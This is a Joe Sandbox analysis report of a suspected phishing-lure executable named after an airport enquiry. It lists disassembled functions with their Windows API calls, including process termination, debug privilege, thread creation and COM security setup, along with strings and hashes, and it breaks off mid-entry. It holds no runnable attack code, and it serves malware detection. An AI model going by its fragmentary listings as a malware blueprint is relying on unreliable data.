GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00CD8A84,00000B00,?,?), ref: 00CD8E28
GetCurrentProcess.KERNEL32(?,00000000,?,00CD8A84,00000B00,?,?), ref: 00CD8E30
DuplicateHandle.KERNEL32(00000000,?,00CD8A84,00000B00,?,?), ref: 00CD8E33
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00CD8A84,00000B00,?,?), ref: 00CD8E43
GetCurrentProcess.KERNEL32(00CD8A84,00000000,?,00CD8A84,00000B00,?,?), ref: 00CD8E4B
DuplicateHandle.KERNEL32(00000000,?,00CD8A84,00000B00,?,?), ref: 00CD8E4E
CreateThread.KERNEL32(00000000,00000000,00CD8E74,00000000,00000000,00000000), ref: 00CD8E68

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 076fd47e3472884acb249f6e0c154e00182208f74203b8fcc51d1d91dd5f3b7e
Instruction ID: ab1666b19f8d26664efc1bb18326e43c69899fc1c198ff99b6fcca76a0928f48
Opcode Fuzzy Hash: 076fd47e3472884acb249f6e0c154e00182208f74203b8fcc51d1d91dd5f3b7e
Instruction Fuzzy Hash: BC01A8B5240308FFE620ABA5DC49F6B3BACEB89711F104425FA09DB6A1CA7098008A31

Function 00CF9428 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CF947C
VariantInit.OLEAUT32(?), ref: 00CF954D
VariantInit.OLEAUT32(?), ref: 00CF964E
VariantClear.OLEAUT32(?), ref: 00CF9658
VariantClear.OLEAUT32(?), ref: 00CF96B5

Strings

Null Object assignment in FOR..IN loop, xrefs: 00CF94DD, 00CF960B, 00CF96C3
Incorrect Object type in FOR..IN loop, xrefs: 00CF9631

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 9a23a248c0bdcfcb4adc18c62115c314af3682aee43daa409a67a24ce50c2d1b
Instruction ID: ec34e63f24e35a87fb20a2b79a56a55b24eb169d1bfb88e5e432e29560edc737
Opcode Fuzzy Hash: 9a23a248c0bdcfcb4adc18c62115c314af3682aee43daa409a67a24ce50c2d1b
Instruction Fuzzy Hash: BF91CD70A00209AFDFA4DFA5C848FAEBBB8EF45310F108119F615EB290D7709A45CFA1

Function 00CF9A72 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00CD7652: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CD758C,80070057,?,?,?,00CD799D), ref: 00CD766F
Part of subcall function 00CD7652: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CD758C,80070057,?,?), ref: 00CD768A
Part of subcall function 00CD7652: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CD758C,80070057,?,?), ref: 00CD7698
Part of subcall function 00CD7652: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CD758C,80070057,?), ref: 00CD76A8

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00CF9B1B
_memset.LIBCMT ref: 00CF9B28
_memset.LIBCMT ref: 00CF9C6B
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00CF9C97
CoTaskMemFree.OLE32(?), ref: 00CF9CA2

Strings

NULL Pointer assignment, xrefs: 00CF9CF0

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 711747a0b567a7c3e7ce063249c3ce5d46c9d89f2df6bec5b7844feb34a3ec21
Instruction ID: 6b3cfc5227cf0485efa43b208e2495f480bfd2810e8a4fd43b8496fd82d0ecb0
Opcode Fuzzy Hash: 711747a0b567a7c3e7ce063249c3ce5d46c9d89f2df6bec5b7844feb34a3ec21
Instruction Fuzzy Hash: 3B914971D0021DABDF10DFA5DC84AEEBBB9EF08710F20415AF519A7281EB719A44DFA1

Function 00D06FEF Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00D07093
SendMessageW.USER32(?,00001036,00000000,?), ref: 00D070A7
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00D070C1
_wcscat.LIBCMT ref: 00D0711C
SendMessageW.USER32(?,00001057,00000000,?), ref: 00D07133
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00D07161

Strings

SysListView32, xrefs: 00D07065

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 67e06a88175ed86eb216febc3b6f7d91a6dd3aaaa56056c2bf1fa61c934df0a1
Instruction ID: d1f5066072658be069f2b1dd23c92b3ae7069f0ba8d417bb2d18aa752faebc18
Opcode Fuzzy Hash: 67e06a88175ed86eb216febc3b6f7d91a6dd3aaaa56056c2bf1fa61c934df0a1
Instruction Fuzzy Hash: 6B418471A04308AFDB219F64CC85BEE77B8EF08354F14452AF589EB2D1D672AD858B70

Function 00CFEC47 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00CE3E91: CreateToolhelp32Snapshot.KERNEL32 ref: 00CE3EB6
Part of subcall function 00CE3E91: Process32FirstW.KERNEL32(00000000,?), ref: 00CE3EC4
Part of subcall function 00CE3E91: CloseHandle.KERNEL32(00000000), ref: 00CE3F8E

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00CFECB8
GetLastError.KERNEL32 ref: 00CFECCB
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00CFECFA
TerminateProcess.KERNEL32(00000000,00000000), ref: 00CFED77
GetLastError.KERNEL32(00000000), ref: 00CFED82
CloseHandle.KERNEL32(00000000), ref: 00CFEDB7

Strings

SeDebugPrivilege, xrefs: 00CFECD6

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 65932b507127ce7a73aa08723a11b00cd421a19f18b123a31755b01cd68c520b
Instruction ID: 863e2b796a56f0120959bbd02335b6b7f36b37ed73935caca266576faf403525
Opcode Fuzzy Hash: 65932b507127ce7a73aa08723a11b00cd421a19f18b123a31755b01cd68c520b
Instruction Fuzzy Hash: 1C41BB712002049FDB24EF24CC95F7EB7A1AF80714F18805DFA469B3D2DBB5A904EB96

Function 00CE3226 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00CE32C5

Strings

stop, xrefs: 00CE3296
blank, xrefs: 00CE3247
info, xrefs: 00CE3266
question, xrefs: 00CE327E
warning, xrefs: 00CE32AE

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 1f404e3efcea49740b96c1f86d88d98d6f1cdde7be00b0d8c0d3eb1708cbaef6
Instruction ID: fb83986dc3b92c4873478a4cd687f7ba118f2a04735f958078c00908b36f0538
Opcode Fuzzy Hash: 1f404e3efcea49740b96c1f86d88d98d6f1cdde7be00b0d8c0d3eb1708cbaef6
Instruction Fuzzy Hash: 2711F3317083C6BAA7015B57DC56D6AB39CDF1A364F20002AFA50AB2C2E6A5AB4045B5

Function 00CE4534 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00CE454E
LoadStringW.USER32(00000000), ref: 00CE4555
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00CE456B
LoadStringW.USER32(00000000), ref: 00CE4572
_wprintf.LIBCMT ref: 00CE4598
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00CE45B6

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00CE4593

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: a164383288d7c1a0dae4594c5cd862af88f8c3f3a5f608a02f43867f1da55b06
Instruction ID: 4b909c224af200ac236aee112e21744b56d459ebff1ae24d04ced151b5bd6b4d
Opcode Fuzzy Hash: a164383288d7c1a0dae4594c5cd862af88f8c3f3a5f608a02f43867f1da55b06
Instruction Fuzzy Hash: C8014FF2900308BFE720E7A19D89FEB776CE708301F5005A5BB49E2151EA759E858B71

Function 00D0D74C Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C82612: GetWindowLongW.USER32(?,000000EB), ref: 00C82623

GetSystemMetrics.USER32(0000000F), ref: 00D0D78A
GetSystemMetrics.USER32(0000000F), ref: 00D0D7AA
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00D0D9E5
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00D0DA03
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00D0DA24
ShowWindow.USER32(00000003,00000000), ref: 00D0DA43
InvalidateRect.USER32(?,00000000,00000001), ref: 00D0DA68
DefDlgProcW.USER32(?,00000005,?,?), ref: 00D0DA8B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 7c7550433a597f8485e1a31a5f75299f50c38d97bbad7825d975e14e4ba484f4
Instruction ID: 5996f830446c0c1c0eefc19d426133eae32e5fe2c4761bac20500891db8adc8a
Opcode Fuzzy Hash: 7c7550433a597f8485e1a31a5f75299f50c38d97bbad7825d975e14e4ba484f4
Instruction Fuzzy Hash: CAB18A75600225EFDF14CFA8C9857BE7BB2FF48711F08816AEC499B295D734A950CBA0

Function 00C82A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00CBC417,00000004,00000000,00000000,00000000), ref: 00C82ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00CBC417,00000004,00000000,00000000,00000000,000000FF), ref: 00C82B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00CBC417,00000004,00000000,00000000,00000000), ref: 00CBC46A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00CBC417,00000004,00000000,00000000,00000000), ref: 00CBC4D6

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 73af77dddbdfb558ae9f845183098f25fa860dc4c823435ea8790eff579036e6
Instruction ID: d79e3a925cebe2060e4ff43e120d984dabf4353658742656bf731da3c026115d
Opcode Fuzzy Hash: 73af77dddbdfb558ae9f845183098f25fa860dc4c823435ea8790eff579036e6
Instruction Fuzzy Hash: F4412C352047809BC73DAB29CCDC7FB7B92AF96308F64841DE06787660C6359A41F729

Function 00CE7368 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00CE737F

Part of subcall function 00CA0FF6: std::exception::exception.LIBCMT ref: 00CA102C
Part of subcall function 00CA0FF6: __CxxThrowException@8.LIBCMT ref: 00CA1041

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00CE73B6
EnterCriticalSection.KERNEL32(?), ref: 00CE73D2
_memmove.LIBCMT ref: 00CE7420
_memmove.LIBCMT ref: 00CE743D
LeaveCriticalSection.KERNEL32(?), ref: 00CE744C
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00CE7461
InterlockedExchange.KERNEL32(?,000001F6), ref: 00CE7480

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 9611a01ba71358ee2f2e22b3fb7b7c7442e188eb78bfd374d318da0ffc0d02e9
Instruction ID: fd8b59398afc5c43ffdf9065c2f4031fdc4abbcddb78962624983b5042db1b5c
Opcode Fuzzy Hash: 9611a01ba71358ee2f2e22b3fb7b7c7442e188eb78bfd374d318da0ffc0d02e9
Instruction Fuzzy Hash: CE318F35904205EBCF10EFA5DC85AAE7B78EF45710F2441A9FD04EB256DB709E10DBA4

Function 00D06442 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00D0645A
GetDC.USER32(00000000), ref: 00D06462
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D0646D
ReleaseDC.USER32(00000000,00000000), ref: 00D06479
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00D064B5
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00D064C6
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00D09299,?,?,000000FF,00000000,?,000000FF,?), ref: 00D06500
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00D06520

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 09bf7a0282aadd8070fcd90afb2ec28a6939cb74794ac56eab31559ecaff6a31
Instruction ID: c1185ee9dd734b144e6fc62b408f45d5e82883c921dcd4a6456c41e2ff4e7763
Opcode Fuzzy Hash: 09bf7a0282aadd8070fcd90afb2ec28a6939cb74794ac56eab31559ecaff6a31
Instruction Fuzzy Hash: D6316B72201214BFEB218F50DC8AFEA3FA9EF09761F084065FE0CDA295D6759851CBB4

Function 00CDC072 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00CDC087
_memcmp.LIBCMT ref: 00CDC0A9
_memcmp.LIBCMT ref: 00CDC0C1
_memcmp.LIBCMT ref: 00CDC0D4
_memcmp.LIBCMT ref: 00CDC0EE
_memcmp.LIBCMT ref: 00CDC101
_memcmp.LIBCMT ref: 00CDC119
_memcmp.LIBCMT ref: 00CDC134

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 041904e6f2a5944d688040bdfe1a5f008dee1d398823eabf645b4c1a4bab003d
Instruction ID: 67c28d38090a8f8d02bea38c404e7a49d2499e803caaf2a07f60c4794b7f0571
Opcode Fuzzy Hash: 041904e6f2a5944d688040bdfe1a5f008dee1d398823eabf645b4c1a4bab003d
Instruction Fuzzy Hash: 67218371641217BB9714A521ADC2FBF236DEF21398F084022FF0596382EB52EE25D2E5

Function 00CEED8E Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

Part of subcall function 00C9FEC6: _wcscpy.LIBCMT ref: 00C9FEE9

_wcstok.LIBCMT ref: 00CEEEFF
_wcscpy.LIBCMT ref: 00CEEF8E
_memset.LIBCMT ref: 00CEEFC1

Strings

X, xrefs: 00CEEFFE

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 77ef351c3cd453a0431f7fc88dcc5cc6d67c8e0742fffd971d065786c2ea4151
Instruction ID: 0588235e3cca9ac75abe85ec1f55bc3c70d75624c106411e2a3de04f6f42ad9a
Opcode Fuzzy Hash: 77ef351c3cd453a0431f7fc88dcc5cc6d67c8e0742fffd971d065786c2ea4151
Instruction Fuzzy Hash: A8C1A0315083419FC724EF24C881AAEB7E4FF85318F14492DF89A972A2DB70ED45DB86

Function 00C81424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09a16364aa1d83ea0763703efda121693595c5e9657b0fd5f373b02bf9632028
Instruction ID: 961304c933d65ebc192cb9ac744b2e8cd11267b2262e7d7af32574507649791b
Opcode Fuzzy Hash: 09a16364aa1d83ea0763703efda121693595c5e9657b0fd5f373b02bf9632028
Instruction Fuzzy Hash: 4D717E30900109FFCB14DF99CC49ABEBBB9FF85314F288159F915AA251C730AA52CFA4

Function 00CF6E8A Relevance: 10.7, APIs: 7, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1597b6ff01cbd5d86b46cc45beeeeaf24122072abab4c11689f1235d7d437875
Instruction ID: 03be7196e9da76be881a6c20e8a00b4f806d692b350d1921f03523907a5872d4
Opcode Fuzzy Hash: 1597b6ff01cbd5d86b46cc45beeeeaf24122072abab4c11689f1235d7d437875
Instruction Fuzzy Hash: 5D61AB71508304ABC720EB24CC85F7FB7E9EF84718F144A19F656972A2DB70AE04D792

Function 00D0B60B Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01655828), ref: 00D0B6A5
IsWindowEnabled.USER32(01655828), ref: 00D0B6B1
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00D0B795
SendMessageW.USER32(01655828,000000B0,?,?), ref: 00D0B7CC
IsDlgButtonChecked.USER32(?,?), ref: 00D0B809
GetWindowLongW.USER32(01655828,000000EC), ref: 00D0B82B
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00D0B843

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
